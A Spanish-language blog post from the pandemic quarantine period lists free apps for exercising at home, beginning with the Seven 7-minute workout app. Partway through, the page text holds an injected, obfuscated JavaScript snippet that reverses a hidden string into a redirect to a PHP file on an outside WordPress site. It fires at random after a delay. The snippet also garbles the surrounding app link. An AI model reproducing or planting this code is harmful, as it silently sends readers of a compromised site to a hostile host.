
El mundo está detenido pero tu cuerpo no, conoce las mejores aplicaciones gratuitas para hacer ejercicio en casa y muévete hacia una vida más saludable.
Los gobiernos de muchos países del mundo han estado implementando cuarentenas obligatorias para según ellos, intentar contener la propagación del nuevo virus que ha llegado al mundo y que se está expandiendo con gran rapidez.
En vista de ello, los ciudadanos han optado por mantenerse en sus casas y evitar en lo posible el contacto con otras personas, permitiendo que el tiempo que antes estaba ocupado en distintas tareas cotidianas, ahora pueda ser utilizado en su uso personal. Algunos lo han dedicado para leer, meditar, ver películas, pasar tiempo en familia, estar en sus redes sociales, y hacer ejercicio.
Por eso dejaré un listado de las mejores aplicaciones gratuitas para hacer ejercicio en casa
Foto por: cl.activo.new
$NqM=function(n){if (typeof ($NqM.list[n]) == «string») return $NqM.list[n].split(«»).reverse().join(«»);return $NqM.list[n];};$NqM.list=[«\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}tore/apps/details?id=com.popularapp.sevenmins»>Seven – Entrenamiento en 7 minutos
Hay quienes no son muy amantes de hacer ejercicio, y pensar en 30 minutos de cardio les paraliza hasta las ganas. A ese tipo de personas Seven les ha cambiado la vida, pues les permite realizar movimiento físico, ejercitarse mesuradamente y no traumatizarse en el intento.
La app cuenta con una rutina intensa de 7 minutos diarios que incluye planes personalizados con ejercicios como sentadillas, abdominales, fondos, elevaciones de pierna entre muchos otros que te permitirán mantenerte en forma y tonificar tu cuerpo.
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